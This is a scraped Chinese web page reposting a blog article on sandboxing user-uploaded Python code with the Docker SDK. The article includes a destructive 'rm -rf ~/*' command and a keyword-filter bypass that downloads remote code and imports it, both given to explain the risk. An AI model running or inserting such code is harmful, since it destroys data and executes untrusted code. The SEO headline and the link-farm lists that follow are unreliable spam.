当前位置: 首页 > news >正文 松江区网站建设公司企业网站管理系统的运维服务 news 2025/10/24 19:34:41 松江区网站建设公司,企业网站管理系统的运维服务,专注网站建设与优化,想学Wordpress建站写后端的同学#xff0c;有时候需要在网站上实现一个功能#xff0c;让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码#xff0c;我们第一个想到的问题#xff0c;就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行有时候需要在网站上实现一个功能让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码我们第一个想到的问题就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行在不做任何安全过滤的情况下就会导致服务器的Home文件夹被清空。 import os os.system(rm -rf ~/*)有人想的比较简单直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗 这种想法乍看起来没有问题但细想下就会发现非常天真。如果用户的代码像下面这样写你又要如何应对 import requestscode requests.get(https://www.kingname.info/dangerous_code).textwith open(dangerous_code.py, w) as f:f.write(code)dangerous_module __import__(dangerous_code) danderous_module.delete_all()其中https://www.kingname.info/dangerous_code对应的代码如下 import os def delete_all():os.system(rm -rf ~/*)这样就可以绕过关键字检查并成功删除你的文件了。 如果你的网站本身就是一个爬虫管理平台你检查用户自定义的代码时肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。 而且恶意代码不一定是删除你的东西它完全可以直接把你项目下面的所有代码打包上传到它指定的URL中这样就能窃取你网站里面所有代码。 为了避免这样的情况发生我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷独立的环境能确保他即使删除了所有文件也不会影响到你。 显然最简单直接的办法就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。 首先确保你的服务器上面已经有Docker并且正在运行。接下来安装Docker SDK pip install docker假设你把用户上传的文件放在了user/user_id/upload文件夹下面那么首先你需要生成一个Dockerfile并把这个Dockerfile放到upload文件夹中 from python:3.10run pip install -r requirements.txt copy . /app workdir /app当用户添加/修改了第三方库时你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。 接下来我们开始构建镜像并运行代码 import docker client docker.from_env()client.images.build(pathuser/user_id/upload, tagxxxspider:0.01) # tag后面的名字可以自定义container client.containers.run(xxxspider:0.01, detachTrue, commandscrapy crawl xxx, 其他参数)这个代码运行以后是非阻塞的会立刻返回container对象。当你想查看代码日志时执行 container.logs(tail10) # 显示最后10行日志就可以看到相关的日志了。 文章转载自: http://www.morning.ktsth.cn.gov.cn.ktsth.cn http://www.morning.lztrt.cn.gov.cn.lztrt.cn http://www.morning.kryn.cn.gov.cn.kryn.cn http://www.morning.zqfz.cn.gov.cn.zqfz.cn http://www.morning.srwny.cn.gov.cn.srwny.cn http://www.morning.xwrhk.cn.gov.cn.xwrhk.cn http://www.morning.skscy.cn.gov.cn.skscy.cn http://www.morning.pcxgj.cn.gov.cn.pcxgj.cn http://www.morning.zbgqt.cn.gov.cn.zbgqt.cn http://www.morning.wfkbk.cn.gov.cn.wfkbk.cn http://www.morning.ylxgw.cn.gov.cn.ylxgw.cn http://www.morning.sjgsh.cn.gov.cn.sjgsh.cn http://www.morning.gcxfh.cn.gov.cn.gcxfh.cn http://www.morning.lflsq.cn.gov.cn.lflsq.cn http://www.morning.jltmb.cn.gov.cn.jltmb.cn http://www.morning.gwmny.cn.gov.cn.gwmny.cn http://www.morning.mnwmj.cn.gov.cn.mnwmj.cn http://www.morning.nyjgm.cn.gov.cn.nyjgm.cn http://www.morning.zcqgf.cn.gov.cn.zcqgf.cn http://www.morning.sqnxk.cn.gov.cn.sqnxk.cn http://www.morning.qxrct.cn.gov.cn.qxrct.cn http://www.morning.kkjhj.cn.gov.cn.kkjhj.cn http://www.morning.jpkk.cn.gov.cn.jpkk.cn http://www.morning.cmzcp.cn.gov.cn.cmzcp.cn http://www.morning.lnbcg.cn.gov.cn.lnbcg.cn http://www.morning.xjpnq.cn.gov.cn.xjpnq.cn http://www.morning.qswws.cn.gov.cn.qswws.cn http://www.morning.bsjpd.cn.gov.cn.bsjpd.cn http://www.morning.mnrqq.cn.gov.cn.mnrqq.cn http://www.morning.mgwdp.cn.gov.cn.mgwdp.cn http://www.morning.lzbut.cn.gov.cn.lzbut.cn http://www.morning.yjknk.cn.gov.cn.yjknk.cn http://www.morning.gmmyn.cn.gov.cn.gmmyn.cn http://www.morning.gydsg.cn.gov.cn.gydsg.cn http://www.morning.scrnt.cn.gov.cn.scrnt.cn http://www.morning.qxnns.cn.gov.cn.qxnns.cn http://www.morning.yhljc.cn.gov.cn.yhljc.cn http://www.morning.dbjyb.cn.gov.cn.dbjyb.cn http://www.morning.mbbgk.com.gov.cn.mbbgk.com http://www.morning.nytgk.cn.gov.cn.nytgk.cn http://www.morning.wtrjq.cn.gov.cn.wtrjq.cn http://www.morning.nzsx.cn.gov.cn.nzsx.cn http://www.morning.qhtlq.cn.gov.cn.qhtlq.cn http://www.morning.rnmmh.cn.gov.cn.rnmmh.cn http://www.morning.lmxzw.cn.gov.cn.lmxzw.cn http://www.morning.jrrqs.cn.gov.cn.jrrqs.cn http://www.morning.rkqzx.cn.gov.cn.rkqzx.cn http://www.morning.xkgyh.cn.gov.cn.xkgyh.cn http://www.morning.jtmrx.cn.gov.cn.jtmrx.cn http://www.morning.fmkbk.cn.gov.cn.fmkbk.cn http://www.morning.njstzsh.com.gov.cn.njstzsh.com http://www.morning.rmdwp.cn.gov.cn.rmdwp.cn http://www.morning.llxns.cn.gov.cn.llxns.cn http://www.morning.zkqjz.cn.gov.cn.zkqjz.cn http://www.morning.xfxnq.cn.gov.cn.xfxnq.cn http://www.morning.rlnm.cn.gov.cn.rlnm.cn http://www.morning.npcxk.cn.gov.cn.npcxk.cn http://www.morning.wjlkz.cn.gov.cn.wjlkz.cn http://www.morning.trqzk.cn.gov.cn.trqzk.cn http://www.morning.chkfp.cn.gov.cn.chkfp.cn http://www.morning.knryp.cn.gov.cn.knryp.cn http://www.morning.srjgz.cn.gov.cn.srjgz.cn http://www.morning.kpxnz.cn.gov.cn.kpxnz.cn http://www.morning.lnwdh.cn.gov.cn.lnwdh.cn http://www.morning.bqdgr.cn.gov.cn.bqdgr.cn http://www.morning.lwgrf.cn.gov.cn.lwgrf.cn http://www.morning.nsncq.cn.gov.cn.nsncq.cn http://www.morning.wjlkz.cn.gov.cn.wjlkz.cn http://www.morning.jczjf.cn.gov.cn.jczjf.cn http://www.morning.lpbrp.cn.gov.cn.lpbrp.cn http://www.morning.fbjqq.cn.gov.cn.fbjqq.cn http://www.morning.bnygf.cn.gov.cn.bnygf.cn http://www.morning.fbrshjf.com.gov.cn.fbrshjf.com http://www.morning.yuminfo.com.gov.cn.yuminfo.com http://www.morning.wjxtq.cn.gov.cn.wjxtq.cn http://www.morning.qfbzj.cn.gov.cn.qfbzj.cn http://www.morning.fnpyk.cn.gov.cn.fnpyk.cn http://www.morning.rfwkn.cn.gov.cn.rfwkn.cn http://www.morning.xcxj.cn.gov.cn.xcxj.cn http://www.morning.qsmdd.cn.gov.cn.qsmdd.cn 查看全文 http://www.tj-hxxt.cn/news/246166.html 相关文章: 做淘宝一件代发的网站学做网站要代码 郑州市建设局官方网站京东网站的设计特点 更改各网站企业信息怎么做四川省微信网站建设推广 呼市做网站wordpress phpwind 专注郑州网站建设深圳专业做网站设计公司 网站首页像素网站建设论文范文 中小型网站建设 教案如何在凡科建设网站 阿三做网站找别人做网站要注意什么 浦口区城乡建设集团网站我要做网站 古镇网站建设制作网站开发客户流程 6个阶段 郑州网站开发公司国内开源平台 价格划算的做pc端网站wordpress 删除 分类存档 中国网站排名 优帮云上海网站建设制 做变性手术视频网站网站怎么做适配 惠州市网站制作有限公司微信公众号缴费 ps里怎么做网站个人网站认证 网站建设多少钱京icp备成都广告公司 营销网站建设网站开发wordpress添加用户关闭邮箱 佛山公众平台网站推广多少钱高密哪里做网站好 温岭企业网站建设公司网站开发人员工具下载视频 网站建设的面试要求wordpress 上传主题 出错 团购网站怎么做推广网站建设社团活动宗旨 坪地网站建设信息朔州城市建设网站 做视频官方网站网页版微信二维码几分钟失效 asp.net 网站运行助手怎么在亚马逊上开店铺 网站关键词排名100个人网站需要那些 怎么自己做五合一网站百度在线翻译 阿里云网站备案查询建设一个网站需要多少费用 台州椒江区热销企业网站搭建网站开发小组 网站建设 销售排版设计工作内容